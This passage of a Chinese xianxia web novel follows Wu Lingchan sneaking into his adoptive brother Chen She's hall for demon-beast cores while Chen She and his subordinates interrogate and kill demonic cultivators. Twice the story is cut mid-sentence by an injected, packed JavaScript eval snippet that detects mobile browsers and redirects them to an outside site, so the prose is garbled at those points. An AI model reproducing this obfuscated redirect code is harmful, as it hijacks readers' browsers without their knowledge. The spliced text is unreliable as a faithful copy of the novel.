“只不过。”江争流似乎有些为难地说,“尘君今日用魔君印封了半个昆拂,魔炁只要出现就会被碾碎。尘君厌恶魔炁,半日已杀了数十人,少君身份尴尬,还是莫要接触魔兽内丹为好,省得……” 话没说完,但意思已明了。 ……省得也被尘君杀了。 但凡换个人,一眼明白江争流的未尽之语。 乌令禅却不明所以。 说啥呢一大堆,好像是尘赦为魔炁杀人,然后呢? 乌令禅正要细问,一旁传来声冷笑。 荀谒不知何时来的,双手环臂似笑非笑望着江争流:“江长老,听闻您的本命法器「类晃」因私自收敛魔炁而落到伏舆手里,你小命都被别人捏着了,不急着去救器灵,在这危什么言耸什么听呢。” 江争流淡淡瞥他:“只是和少君闲聊几句罢了。” 荀谒冷笑:“那聊完了吗,没尽兴要不要去辟寒台当着尘君的面聊?” 江争流不理会荀谒的挑衅,眉眼温和地注视着乌令禅,担忧地说:“少君,一切当心啊。” 荀谒见他还敢话里有话挑拨离间,当即气笑了:“你爹!” 乌令禅疑惑道:“我当心什么?” 江争流:“……” 荀谒:“……” 哈。 荀谒释然地收了剑。 江争流意味深长看着装傻的乌令禅,颔首一礼,离开了。 荀谒臭着脸走过去,按着乌令禅的肩膀,冷冷道:“他还同你说了什么?” 乌令禅瞥他:“你让少君在这里等你也就算了,开口就是这个态度,难道你也这样凶我阿兄吗?” 荀谒:“……” “他不是什么好东西。”荀谒恐吓道,“那种老狐狸,你当心被他坑得连骨头都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977518|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了。” 乌令禅瞪他:“我不是狐狸,你再骂我就告诉阿兄。” 荀谒:“……” 算了,方才江争流咬文嚼字一大堆,说不准这小少君根本没听懂。 荀谒再次释怀,将巨鸢招来,让尊贵的少君坐上去。 乌令禅脾气大,却也好哄,很快原谅荀谒的放肆。 他盘膝坐在巨鸢背上最软的羽毛上,泼墨似的乌发被风吹得好像张牙舞爪的流云:“我阿兄回家了吗?” “嗯,已在辟寒台。” 乌令禅顿时开心了。 回到辟寒台后他并未第一时间去找尘赦,而是回到偏殿将那丑不拉几的衣服换下,从法器中找出一身最喜欢的红枫金绣锦袍。 发饰、腰封配饰叮叮当当,被斗篷一罩,好似一只火红的狐狸。 乌令禅在玄香的空间翻了半晌,想找出更多漂亮的东西往脑袋上戴,但他已满头叮当,只好作罢。 再次确定自己很漂亮,乌令禅颠颠往主殿跑。 ** 辟寒台。 尘赦端坐玉台,靛青衣摆铺洒四周,漫不经心地将一颗棋子放置棋盘上。 没一会,外面终于传来熟悉的脚步声。 “阿兄阿兄阿兄!” 尘赦落了棋,并未再把乌令禅拒之门外,抬手一挥,辟寒台大门缓缓打开。 整个辟寒台好似玉雕琢而成,冰天雪地中像一块清透的冰。 一股如火的红意忽地一溜烟跑进来,宛如破开寒霜,转瞬停在尘赦身边。 尘赦捏棋子的手一顿。 乌令禅跑得面容微红,高兴地举着一沓纸:“阿兄阿兄阿兄!我今日写了一天的字,刚数了数,一百个,不少呢。” 尘赦兴致并不高:“嗯,放着吧。” 乌令禅被泼冷水也不觉得失望,眼巴巴地看着他:“阿兄不检查检查吗,我足写了一天,日后绝对不会再将阿兄的名字认错。” 尘赦接过那沓纸,一一翻着看。 乌令禅等他翻完最后一张,赶紧问他:“阿兄,我乖不乖?” 尘赦淡淡道:“一百个‘尘’字写对四十九个,其余的不是‘茔’就是‘圶’——不错,勉强算你半个乖。” 乌令禅:“…………” 乌令禅干巴巴道:“那、那我下次一定好好写。” 只有半个乖,也算乖。 乌令禅余光一扫,眼珠子险些瞪出来。 辟寒台的书案上放置着一堆杂物,最显眼的是印着「伏」字的匣子,里面盛满血淋漓的魔兽内丹,瞧着像是刚摘下来的。 内丹之上附着的,皆是魔炁。 尘赦缓缓起身。 乌令禅收回视线,更加殷勤了,上去一把抓住尘赦的手:“阿兄,我来扶尊贵的您吧!” 尘赦动作一顿。 一旁候着的荀谒头皮都要炸了,满脸惊惧。 尘赦向来厌恶别人触碰他,哪怕离近半丈内也会被无形的风弹开,乌令禅不怕尘君一挥袖子将他那小身板卷到千里之外的天边去吗? 尘赦低头“瞥”了乌令禅一眼,淡声道:“就算再献殷勤,也得在丰羽小斋学满一千个字才能进四琢学宫。” 荀谒:“?” 竟没甩开他?! 乌令禅瞪大眼睛,受了天大的委屈:“叽里呱啦,魔神在上!我对阿兄的亲亲发自肺腑,没有一点私心!” 尘赦点头:“嗯,绝对没有私心,什么都不想要。” 乌令禅还是想要内丹的,立刻忘了自己的委屈,兴高采烈道:“有有!有想要的,阿兄给我?” 尘赦见乌令禅恨不得黏上来的架势,笑了笑:“不是说没有私心吗?” 乌令禅义正言辞道:“想和阿兄亲更多,私心只有一点。” “既然如此。”尘赦笑着道:“等你什么时候入出锋学斋,阿兄就答应给你想要的。” 乌令禅:“…………” 那要到猴年马月?! 乌令禅不可置信地看着他,好一会又不死心地在尘赦面前转了几圈。 叮叮当当。 不漂亮吗? 尘赦眼瞎,温和地问:“还有什么事吗?” 乌令禅:“……” 好狠的心。 “没、有了。”乌令禅不死心地又问,“那今晚我能住在阿兄这里吗?” 尘赦笑了:“今夜我有事要出去一趟。” 乌令禅又被婉拒,刚要垮着脸,忽然像是想通了什么,余光一瞥桌案上的内丹,唇角一勾。 尘赦不在主殿,那他岂不是能偷偷潜进来? 乌令禅一改刚才的如丧考妣,腾地爬起来:“哦!” 丢下一句“阿兄小心”,便一溜烟小跑出去。 十六岁的孩子心智都没怎么成熟,行事幼稚、处处破绽却自以为隐藏得极好。 荀谒微微蹙眉。 桌案放置魔兽内丹的匣子边,江争流的本命法器被几张符纸包裹着丢在那。 乌令禅方才,是在看这个? 9.困困墨锭 辟寒台偏殿。 乌令禅趴在桌子上写“一个乖”。 只是他习惯了仙盟字,乍一重新学全然不同的新字体,有些拗不过来弯儿,写一个就走神一会。 没写几个尘,就开始在空白纸上画人像。 玄香太守的墨有化形之能,乌令禅熟练地挥笔,很快就将尘赦的模样画出来。 盯着纸上的男人,吃了好几次瘪的乌令禅怒从心头起恶向胆边生,屈指狠狠一弹,灵力附着画纸上,顷刻幻化成尘赦的模样。 乌令禅指使他:“给我多多的魔兽内丹。” 墨人顶着尘赦那张冷俊的脸,为乌令禅着迷,叽里呱啦,殷勤地从怀里拿出一堆纸团奉给乌少君。 乌令禅又指使墨人为自己捏肩。 墨人捏肩。 乌令禅满意极了。 这时,一道声音幽幽在识海传来:“若尘赦知道,你小命不保。” 乌令禅腾地坐直身子:“墨宝!” “再叫我这个名字,你也小命不保。” 乌令禅闭眸将神识探入识海,果不其然瞧见昨日还虚弱的器灵已开始聚灵,四周铺天盖地的虚弱墨痕被牵引着往中央一点聚拢。 “啐。”中央虚幻的墨里似乎吐出个东西,“你给我吃了什么,难吃。” 乌令禅低头一瞅。 是江争流给他的银叶子,被玄香嚼成一片废铁了。 玄香道:“……但灵力浓郁,全靠它我才能聚灵。” “好东西。”玄香醒来,乌令禅没来由放松了些,盘膝坐在玄香身边,“江争流给我的一个蕴含魔炁的法器,若我多弄来点魔炁,你是不是就能彻底聚灵?” 玄香如今还是一团墨,但听语调仍能听出他的嫌弃:“我不吃魔炁,难吃,你给我弄点有灵力的东西来。” 乌令禅关注点却不同:“你这几日都睡着,我又没告诉你魔炁是什么,你怎么知道难吃?” 玄香不答,只冷笑。 “你不吃,那我能用吗?”乌令禅问他,“上次遇险,一绺魔炁无意中钻我内府中,当即让我恢复金丹修为。” 玄香:“然后呢?” “三息就碎了。” 玄香注视着乌令禅内府中破碎的金丹,若有所思。 “这东西既然是昆拂禁物,定有禁它的道理——不过我从未听过它会主动钻入人的内府,恐怕另有端倪。” 确定好正事,乌令禅终于能练一练许久没尽兴的嘴皮子,在识海中和玄香嘚啵八百句,一会说丰羽小斋一会说阿兄,一会又骂孟凭。 玄香烦死了,闭眼修行就当他不存在。 天幕越来越黑。 乌令禅口干舌燥地喝了一壶冷茶,指腹在腕间红绳上系的墨块上一抚,沾染些许墨,轻轻一搓,转瞬化为一只鸟雀跃然指尖。 “去。” 鸟雀啾啾展翅朝外飞去。 偌大辟寒台几乎比乌令禅在霄雿峰的半个山头还要大,鸟雀飞了半晌才折返回来,啾啾地在桌案上一摔,啪叽声散成墨痕,化为一张坤舆图。 乌令禅垂眸一看。 尘赦不知去了哪里,辟寒台空无一人。 好机会。 乌令禅趁着夜色从偏殿窗户轻巧地翻出去,像是一片枫叶轻飘飘地越过墙头。 砰,落地。 “哎呀。”乌令禅一转身,红袍裾摆花似的旋转绽放,他高兴地说,“这不是荀大人嘛,真是有够巧,您这样的大人物不跟着我阿兄身边,在这儿做什么呢?” 荀谒立在后院的墙边,不知在这儿守了多久,鸟雀竟没发现他。 他似笑非笑地道:“少君这是要去哪儿啊?” 乌令禅眼睛眨都不眨:“我看天气不错,想出来散步,哈哈哈。” 荀谒皮笑肉不笑:“翻墙出来散步?” “是的,辟寒台太大,一时迷路了。” 荀谒似乎冷笑了声:“那属下带少君回去?” 乌令禅见他对自己如此不敬,直接一个箭步冲上去,催动滔天灵力狠狠打了荀谒一掌,又招来天雷悍然劈下,将此人劈得满脸黢黑,跪地求饶高呼少君万岁我立刻背弃主上奉您为尊,往后您让往南我绝对不忘北。 哈哈哈。 荀谒:“少君?” 乌令禅猛地从美梦中回过神来:“哦!不必了,我又忽然记得路了,不必劳烦荀大人。” 说完,撒腿就跑。 荀谒面无表情看着,没有再追。 乌令禅在长廊上奔跑,唯恐荀谒追上来硬要护送他。 刚跑两步,乌令禅忽地一拍翅膀,整个人化为一只蝴蝶展翅飞了起来。 玄香道:“只能维持半炷香,快去。” 乌令禅奋力扑腾着飞起辟寒台主殿。 玄香是仙阶法器,整个三界寥寥无几,哪怕重伤仍能躲避窥探。 没一会,乌蝴蝶就顺着辟寒台大开的窗棂飞进,落地的刹那化为人形从桌子边滚了过去。 辟寒台空无一人。 乌令禅冻得够呛,哆嗦着呼出几口气,这才爬起身看向四周。 桌案上的匣子仍在,缝隙幽幽闪着微光。 乌令禅忙溜达过去,高高兴兴地将匣子打开。 ……脸登时垮了下来。 匣子中仍然是一堆血淋淋的魔兽内丹,只是上面附着的魔炁却消散得一干二净,连一绺都没留下。 白忙活一场。 “咔”。 匣子边被符纸包着的东西突然蹦了两下。 乌令禅吓了一跳:“什么东西?” 那东西像是巴掌大的匕首,又像是尖叶子,被符纸包裹着瞧不出模样,但估摸着有灵智,隐约能听到它在嘶哑的呼救。 “救……救我出去……” 玄香不耐道:“别搭理它。在昆拂墟,只要被符困着的都不是什么好东西——没有魔炁拿几个内丹吃吃也行,被尘赦发现你就惨了。” 乌令禅好奇地道:“你好像很怕我阿兄?” 玄香噎了一下,臭着脸说:“我怕他干什么?” 不知这两人谁长了乌鸦嘴,刚说到尘赦,辟寒台的大门缓缓打开。 尘赦的声音轻缓飘来:“……叫伏舆过来。” 荀谒:“是。” 乌令禅:“!” 乌令禅毛都炸了,下意识想找个地儿藏起来,可玄香似乎比他更畏惧尘赦,根本不觉得能逃掉,索性墨痕卷着乌令禅一动。 咔哒。 乌令禅当即化为一块乌漆嘛黑的墨锭躺在桌案上,周遭散落着文房四宝,完美地混入其中。 乌令禅:“?” 乌令禅愕然道:“干嘛,不跑吗?” “怕什么?”玄香冷冷道,“从没有人能看破我的伪装,只要你不乱动。” 乌令禅“唔”了声:“你是怕跑不掉吗?” “闭嘴!” “哦!” 尘赦的脚步声已近在咫尺,很快就停在书桌前。 乌令禅没觉得害怕,可莫名觉得尘赦似乎在“看”他。 不可能吧。 墨宝是仙阶法器,这些年他时不时被霄雿峰宗主罚面壁思过,都是墨宝带着他变成小鸟飞出去玩。 好在,尘赦往一旁的连榻走了过去。 乌令禅松了口气。 只是一口气还没松下来,就听尘赦道:“荀谒,去磨些墨来。” “是。” 乌令禅:“?” 玄香:“……” 乌令禅身上的流苏穗子都要炸起来了。 磨……磨墨?! 乌令禅感知不到自己化为墨锭后脑袋和脚在那,但视野宽泛,能瞧着荀谒那放大无数倍的身躯一步步朝他走来。 荀谒站在书案前,心中还在犯嘀咕。 深更半夜的,尘君要墨做什么? 尘赦桌案上什么都有,荀谒扫了一圈,选了块最漂亮的墨锭拿起来。 不知是不是错觉,总感觉着墨锭悬挂的穗子在抖? 荀谒正要往砚台加水,就见那块用金笔写着「墨」字的墨锭竟然滴滴答答往下落了几滴水。 荀谒:“?” 乌令禅:“墨宝……玄香玄香玄香!我脸朝下,他要磨我的脸!” 玄香:“……” 尘赦道:“怎么?” 荀谒疑惑道:“这墨锭……好像有些奇怪?” “拿来。” 乌令禅的脸刚逃过一劫,又落到了尘赦手中,更逃不走了。 好在尘赦并未想磨乌令禅的脸,修长如玉的五指漫不经心拢着墨锭,微凉的指腹摩挲墨上的字,像是在把玩一块玉石。 乌令禅:“……” 乌令禅已经开始往外吐幽魂了。 等荀谒换了新的墨锭磨好墨端过来,辟寒台一阵寒风刮了进来。 伏舆挎着刀转瞬即至。 尘君座下第一杀神身着一袭干练的黑色劲装,肩上松垮裹着雪白披风,长刀背至腰后,剑鞘还在滴答往下落着血。 伏舆行礼:“尘君,幸不辱命。” 说罢,她抬手一挥,袖中浮现几道流光,砰砰砰几个浑身魔气的人踉跄着滚到地上。 几人浑身是血狼狈不堪,双眸赤红瞪着伏舆,解除束缚的刹那下意识就要逃走。 尘赦坐在那漫不经心地把玩墨锭,羽睫动都未动。 砰砰砰。 伏舆并未出刀,赤手空拳将几人再次打回来。 尘赦淡淡道:“……你们谁去过枉了茔血海?” 被伏舆踩在脚下的魔修冷笑了声:“怎么,尘君改了主意,也想要入血海修行不成?” 伏舆眉梢一挑,脚下一用力。 砰的一声。 魔修的脑袋直接被她踩碎,红与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983948|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白溅了一地。 被儆的几只猴浑身一哆嗦,悚然看去。 伏舆又抓了个人,踩着他的头贴在地上:“尘君脾气好,我可不一样——记得什么该说什么不该说。” 魔修瑟瑟发抖,奋力抬眼看她:“你们……” 伏舆又是一踩。 这次不光魔修,连荀谒尘赦都看向她。 伏舆解释:“他长得太丑了。” 众人:“……” 连杀两个,还活着的魔修几乎崩溃了,嘶吼着道:“魔炁有什么不好?你无法用魔炁修行就要斩断我们的后路吗?!” “好?”尘赦终于开口了,他温和地说,“你可照过镜子看看自己还有人样吗?” “人样?”魔修大概知晓死期将至,反倒不挣扎了,冷冷地说,“尘君光鲜亮丽,囚禁老魔君坐这新君之位,谁人不称赞您一句人模狗样。就算皮囊再像人,也只是不伦不类的……” 砰。 伏舆不耐地将尸身踢到一边,回头看了看四周,似乎疑惑什么。 尘赦被谩骂也不动怒,对着唯一一个活着的魔修道:“我只问一次,通往枉了茔血海的缝隙到底是被谁打开的?” 那魔修死死咬着牙不肯回答,可诡异的是他似乎被一股无形的威压操控,嘴竟然控制不住地说出来。 “……是,是江长老,他同枉了茔的一只大魔交好……” 荀谒脸色一变:“交好?枉了茔有生出神志的大魔?!” “是。” 伏舆倒是来了兴致:“尘君,我这就去枉了茔把那大魔擒来吧。” 尘赦没回答,又问:“江争流拉拢乌困困,目的是什么?” 魔修迷茫:“江长老说困困少君是祖灵选中之人,大魔想得到他身上的……” 尘赦捏着墨锭的手一顿。 祖灵? “什么?” “……鱼……” 魔修在尘赦的「诛心」下,无法抗拒要说出实话。 可刚说出一个字,他像是被下了什么蛊,眼睛骤然满瞳,丹田中一股紫雾瞬间炸开。 轰——! 魔修吸纳魔炁,陡然化为一只庞大的魔兽,满瞳猩红戾气,好似已没了神志,只知杀戮。 “吼!” 乌令禅的灵体变成墨锭,被捏在手上分不出什么具体部位,不过小命被人捏在手里的感觉太可怕,他差点吓哭了。 尘赦和魔修说的话他没怎么听懂,乍一听到这动静,乌令禅迷迷瞪瞪看过去,差点蹦起来。 怎么忽然有魔兽?! 凶兽獠牙大张,狰狞地朝着尘赦扑来。 尘赦拢着墨锭起身,姿态儒雅地抬起手,宽袖被罡风吹得胡乱拂动。 和小山似的凶兽对比,明明看着如蝼蚁,可魔兽扑到面门的刹那却像是撞到无法撼动的高山。 魔兽一僵,悚然看去。 尘赦靛青裾袍在风中翻飞,轻轻睁开了眼。 在羽睫动起来的刹那,眼上好似封印般的朱红符纹悄无声息的消失。 乌令禅这个角度并看不到尘赦的眼睛,却能瞧见魔兽眼底的恐惧更甚。 尘赦面容泛着悲悯,五指一动。 “回归血海吧。” 轰。 魔兽还没反应过来,身躯陡然化为无数纷纷扬扬的竹叶,飘然落下。 乌令禅愣怔望着。 灵力散去,朱红的符纹再次爬上尘赦双眼。 荀谒熟练地清理辟寒台:“……并没有丝毫传送灵力波动,尘君,这人都杀光了也不见人来救,江争流不会又有其他歹毒的计谋吧?” 尘赦摩挲着墨锭,重新坐回去,淡淡道:“不着急。” 今日诸事不宜,乌令禅艰难回过神来,来不及多想,当务之急是先逃走再说。 忽地,玄香短促地道:“令禅,我灵力支撑不住了。” “嗯嗯。”乌令禅突然反应过来,“……嗯?!” 玄香:“将那两颗内丹给我!” 乌令禅赶紧要拿给他。 ……可不知尘赦是不是故意的,没等乌令禅动,忽然揪起墨锭上的流苏穗子轻轻甩了甩。 乌令禅倒吊着头晃悠,差点吐他一身。 伏舆将长刀插回后颈脊椎,瞧见尘赦的动作:“尘君,这墨锭有什么稀奇之处吗?” 尘赦笑了,并未回答。 乌令禅一边晕晕乎乎一边还在挣扎着去给玄香拿储物空间的内丹。 忽地,好不容易到手的内丹不知被什么打了一下,凌空掉落,啪嗒一声从尘赦的膝盖上一路滚了下去。 伏舆:“?” 玄香:“我尽力了,你自求多福。” 下一瞬,墨锭上的伪装灵力潮水似的退去,一眨眼的功夫乌令禅就化为人形,像是串铃铛叮叮当当地横落在尘赦腿上。 乌令禅:“…………” 10. 乌天骄 乌令禅此生很少会有尴尬的时候。 一切令他心中不舒适的——譬如自责愧疚、焦虑抑郁等皆是洪水猛兽,活着已是不易,他不能让虚妄的东西伤害自己。 可他终归年纪小,偷偷摸摸被发现还是会下意识的窘迫,恨不得找个地缝钻进去。 完了。 乍一出现个大活人掉尘君怀里,伏舆干脆利落地将刚塞回后颈的长刀又拔了出来,寒光一闪直袭乌令禅脖颈。 “锵。” 尘赦心不在焉地屈指一弹,长刀即将触碰乌令禅脖颈的刹那被震开。 伏舆一怔:“尘君?” 乌令禅几乎整个人坐在尘赦怀里,红袍雪披风交织着从尘赦膝上垂曳而下,他险些挨了一刀,下意识拽着尘赦衣襟往他颈窝一埋。 尘赦一挥手,示意她下去。 伏舆狐疑地收刀退后。 乌令禅已回过神来,像只兔子似的从尘赦身上蹦下来,胡言乱语道:“阿兄,阿兄好巧啊哈哈哈……你怎么也在这里呀?辟寒台真大呀,我又迷路了,这么晚,阿兄快些休息吧。” 说罢,他撒腿就要跑。 尘赦慢条斯理地道:“去哪儿?” 乌令禅一个甩头折返回来,沉声说:“我回去写尘,今夜不写一千个,绝不睡觉。” “这么乖?” “是的,什么‘茔’‘圶’,再写错我就入大土,我十个乖,保证只写阿兄的字,尘尘尘尘。” 刚走到门口的伏舆:“?” 她只三日不在,辟寒台翻天覆地了? 乌困困努力向尘赦比划,只恨不得生出三条舌头解释,自己绝对没有做坏事。 但他实在不精通昆拂语,颠三倒四,梦到哪句说哪句。 尘赦竟还耐心地听他狡辩半天,才笑着道:“阿兄的东西就是你的东西,想要什么随便取便好,不必如此大费周章。” 伏舆眉梢一挑。 这句话是危险的试探,不好好回答可是会被杀的。 乌令禅没听出来,当即振奋道:“真的吗,我什么都能取?” 伏舆:“?” 是心机深沉另有对策,还是没心没肺纯没眼力劲? “当然。”尘赦淡淡道,“你最想要什么?” 乌令禅眼睛都亮了,矜持地伸手指向桌案。 桌案上被符纸封起来的法器类晃忍不住蹦了两下,艰难发出腐朽的俩字。 “救我……” 尘赦羽睫一动。 一股骇然的威压骤然遍布整个辟寒台,就连荀谒和伏舆都难以招架这股气势,被逼得脸色煞白,踉跄跪地。 类晃骤然僵住,彻底没了声息。 乌令禅魔族血统太过纯正,即使只是炼气期也能无视一切威压,走到桌案前,拿起…… 魔兽内丹。 尘赦动作一顿。 今日闹那么大一出杀那几个魔修,最主要的目的是杀鸡儆猴。 可乌令禅并不觉得自己是猴,视线看都没看那些面目狰狞的尸体,甚至想吃蜜梅脯。 魔兽内丹如鹅卵,乌令禅贪心,一只手抓三个。 但他手太小,内丹差点掉下去,他赶紧往怀里一抱,回头期盼地看着尘赦:“这几颗魔兽内丹能给我吗?” 尘赦:“……” 尘赦沉默好一会:“要这些做什么?” “吃。”乌令禅趁尘赦不注意又抓了一个塞怀里,“我的器灵受伤了,需要灵力填饱肚子,今天刚吞了个灵器,还不够饱。” 尘赦还没说话,荀谒冲将过来,愕然道:“吞灵器?!你哪来的灵器?” 乌令禅在尘赦面前还尴尬着,对荀谒可就不客气了,不悦道:“你说这么大声干什么?这是对我说话的态度吗?给我道歉。” 荀谒:“……” 伏舆:“?” 伏舆匪夷所思地溜达过来,瞻仰这位未经准许偷偷潜入辟寒台却还没被尘君杀了的神人。 尘赦温和地问:“吞灵器啊,困少君哪来的灵器?” 同样的话,乌令禅态度截然不同,一扭头又是乖巧模样:“江长老给我的,丑,没啥用,就给器灵吃了。” 尘赦:“……” 荀谒:“……” 传送器灵极其罕见,说吃就吃?! 不对,可能乌令禅根本不知道传送这回事。 怪不得今夜江争流一直没什么动静。 尘赦笑了声,将匣子一阖,示意全送他了:“过来。” 乌令禅“嗯?”了声,疑惑地跑过去。 尘赦:“伸手。” 乌令禅伸。 “左手。” 乌令禅换爪子。 尘赦拇指和食指捏住乌令禅的手腕,另一手轻轻在红绳悬挂的墨块轻轻一点,磅礴的魔息好似海啸般朝着玄香的本体涌了过去。 这股灵力庞大到仙阶器灵都无法消化,灵力散去再次沉睡的玄香直接被冲醒了。 尘赦的指腹微凉,紧贴着乌令禅的手腕内侧,根本没怎么用力就留下一道红印。 乌令禅眨了眨眼:“阿兄?” 尘赦终于收回手,柔声道:“回去吧——以后不要什么脏东西都给器灵吃。” “哦!” 乌令禅虽然没得到魔炁,但勉强算有惊无险、满载而归,见尘赦不追究,当即颠颠地跑了。 伏舆从未在辟寒台见过如此明艳灼眼的颜色,望着乌令禅消失在风雪中,没忍住问道。 “荀二,他谁啊?为何唤尘君阿兄?” 荀二正在痛恨自己又想太多,再次掉入乌困困的陷阱中,没好气地回答:“苴浮君的儿子乌困困,前几日刚回昆拂。” “乌……乌困困?”伏舆想了想,愕然道,“他是那个……?!” 荀谒:“是。” 伏舆悚然:“就他……那个……可他不是……” 荀谒:“对,想来是气运极佳,每次都化险为夷。” “那也不应该啊。”伏舆终于说人话了,“尘君厌恶苴浮君,恨不得将其挫骨扬灰。父债子偿,尘君又不是什么好人,怎么还会让苴浮君的亲生子好好活着?” 荀谒:“他……” 伏舆倒吸一口凉气,眉眼浮现一抹忌惮之色。 “这位少君看着漂……人畜无害,心机却如此深沉,方才装傻撒娇竟是蛊惑尘君的手段?不容小觑啊不容小觑。” 荀谒:“……” 荀谒哈哈两声,转身忙去了。 *** 不容小觑的乌困困一路狂奔着跑回偏殿,终于大大松了口气。 好险,好在他有装傻的手段。 玄香对着识海中磅礴的灵力,终于勉强回过神来,一言难尽地道:“尘赦……似乎并不厌恶你?” 偷潜入辟寒台一不质问二不责罚,还给了如此庞大的灵力? 对亲弟弟也没这么纵容吧? “你这话什么意思?”乌令禅随手一指,让墨人来帮他脱衣服,“我并未做什么伤天害理之事,和他无冤无仇的为何厌恶我?” 玄香嗤笑:“你是无辜,但你爹当年可对他可做了不少伤天害理的事。” 乌令禅一怔:“我爹?你知道我爹?” 玄香不答,只问:“你也不想想看,苴浮君执掌昆拂墟五百年,人人畏惧臣服,如此位高权重的人物为何会无缘无故收义子?” 乌令禅:“就不能是我爹心地良善?” 玄香冷笑:“哈、哈。” 乌令禅:“……” “令禅,给你个忠告,尘赦并非表面上看着这么简单。”玄香沉声道,“别再靠近他,否则你连死都不知道怎么死的。” 乌令禅站在那,注视着正在解他披风的墨人,久久没说话。 就在玄香以为他在反省时,乌令禅幽幽地道:“你明明就很怕他,还嘴硬。” 玄香:“……” 玄香一夜没搭理乌令禅。 乌令禅从不以别人的评价作为标准。 阿兄待他好,他就亲近; 如果有朝一日尘赦厌恶他待他不好,那他不用玄香提醒就会离得十万八千里。 玄香的话并未影响他。 梦中乌令禅怀揣着雄心壮志,修为一日千里,蓬莱盛会脚踹孟凭得道成仙,是个人见到他都在三跪九叩尊称仙君。 哈哈哈。 翌日,仙君吭叽吭叽爬起来,去上丰羽小斋。 学斋的幼崽们得到属于自己青蛙、蛐蛐、癞蛤蟆,再次心悦诚服地觐见新君,叽里呱啦,乌大王。 乌大王吃着点心写尘,丰羽小斋的师长前来授课。 乌令禅抬头一看。 噫,怎么又换人了? 新师长瞧着年岁不大,像是刚从学斋出师的少年,穿着一身白,瞧着有些温顺胆怯。 学子们没瞧见江长老,极其失望。 “啊?怎么是你呀?” “我们又换老师啦?” 向苍干咳了声,温声细语地说:“江长老昨晚……唔,伤……病了,在闭关养伤。” 乌令禅咯吱咯吱吃松子。 如此修为的魔修也会生病吗?江争流可真弱啊。 没了尘赦这条路,乌令禅不知何处去弄魔炁,好在玄香醒了,终于有了自保的能力。 乌困困努力写尘,日日去找阿兄检查错字。 终于在第四日写满一百个端端正正毫无错字的尘,获得尘赦一个乖。 尘赦盘膝坐在蒲团上,背后是长廊外的鹅毛大雪。 乌令禅在他对面,盘着腿坐没坐相,两只脚掌对着,蒲团上有荀谒特意画的符纹,为他驱散四周寒意。 “我这么乖,阿兄给我奖励不?” 尘赦自己和自己下棋,笑着道:“只学会一个字可不能去出锋学斋。” “不去不去。”乌令禅随手接过尘赦手中的白棋,看也不看随手一放,咔哒一声,“我听说最近学宫的学子都在后山狩猎魔兽,我能也去瞧瞧吗?” 仙阶法器需要庞大的灵力来聚灵。 上次尘赦给的一兜子魔兽内丹已被玄香吞没了,这几日一直在催促乌令禅去弄多些。 乌令禅还问他,为何不吞尘赦的灵力。 玄香臭着脸回答:“他的灵力我不……不想吞,谁知道里面有没有古怪的东西。” 所以没办法,乌令禅只能自己去猎。 尘赦看着困了数日的死局被破,将手中棋子放回棋奁:“炼气修为去猎兽,太过危险。” “没事的,墨宝已醒了,我不会有事的。” “墨宝?”尘赦眉头微动,带着笑道,“你给本命法器取的名字?” “嗯!” 尘赦道:“仙阶法器各有各的傲骨,这个名字恐怕不妥。” 乌令禅不明所以。 每次他叫墨宝时,玄香也没说什么啊,哪来的傲骨? 玄香翻了个白眼,他也有些匪夷所思。 尘赦和苴浮君有如此深仇大恨,竟能同他的儿子和平共处? 但凡换个人看到这一幕,当真会觉得这两人是一对感情深厚的亲兄弟。 “本命法器同主人神魂相连,若是法器消散,主人的魂灵会受重创。”尘赦道,“想猎兽可以,我让荀谒陪你去。” 乌令禅:“不必不必,我自己去就行啦。” “确定?”尘赦笑起来,“后山猎兽的大多数是四琢学宫的天之骄子,各个心高气傲眼高于顶,你如此修为无人相护,恐怕会吃亏。” 乌令禅紧张地问:“最厉害的天之骄子是什么修为?” “池敷寒,十九岁便已结丹中期。”尘赦道,“此人天赋不错,脾气却不好,一向觉得比他修为低的皆是蝼蚁……” 乌令禅大大松了口气:“哎呀,区区结丹中期!” 还以为化神了呢,自己吓自己。 尘赦:“?” 如今的玄香虽然还很虚弱,但只要不是元婴或化神境法宝,他都能勉强打上一打。 乌令禅彻底不担心了,托着腮看尘赦,饶有兴致地问:“阿兄修为很高,是不是修行了很久?昆拂的修士往往用什么法子修炼啊,心法啊什么的有吗?” “昆拂修士吐纳魔息,并不像仙盟那般有正统的修行办法,法子多而杂。” 尘赦轻轻笑了,“你才炼气,正是打基础的时候,莫要急切贪快。” 乌令禅撇撇嘴。 等他恢复金丹,矜持地告诉尘赦哎呀我十四岁就结丹啦,什么是基础呀我都不知道的。 阿兄诧异,羞愧,为这句“急切贪快”狠狠后悔,并不再器重池敷寒,改唤他乌天骄。 “那阿兄用的是哪个法子?” 尘赦落棋的动作倏地一顿,轻缓地笑了笑:“我同别人不太一样,修行的法子也不适合你。” 见尘赦不太想说这个话题,又在那重摆残局棋盘,乌令禅好奇地瞥了一眼。 昆拂墟都没卖棋盘的吗,这棋盘破破烂烂、连纵横都只有十七条线,活像是被什么啃的。 尘赦为何用这种丑棋盘? 又看棋局。 乌令禅更疑惑了。 这棋局他好像在《经纬集·初学》的第九页瞧见过。 见尘赦研究得认真,乌令禅也没多嘴,接着问:“那昆拂语大致有什么修行方式?” “魔眼渡顶、吞噬同源、上古传承、炉鼎采补、魔炁淬体。” 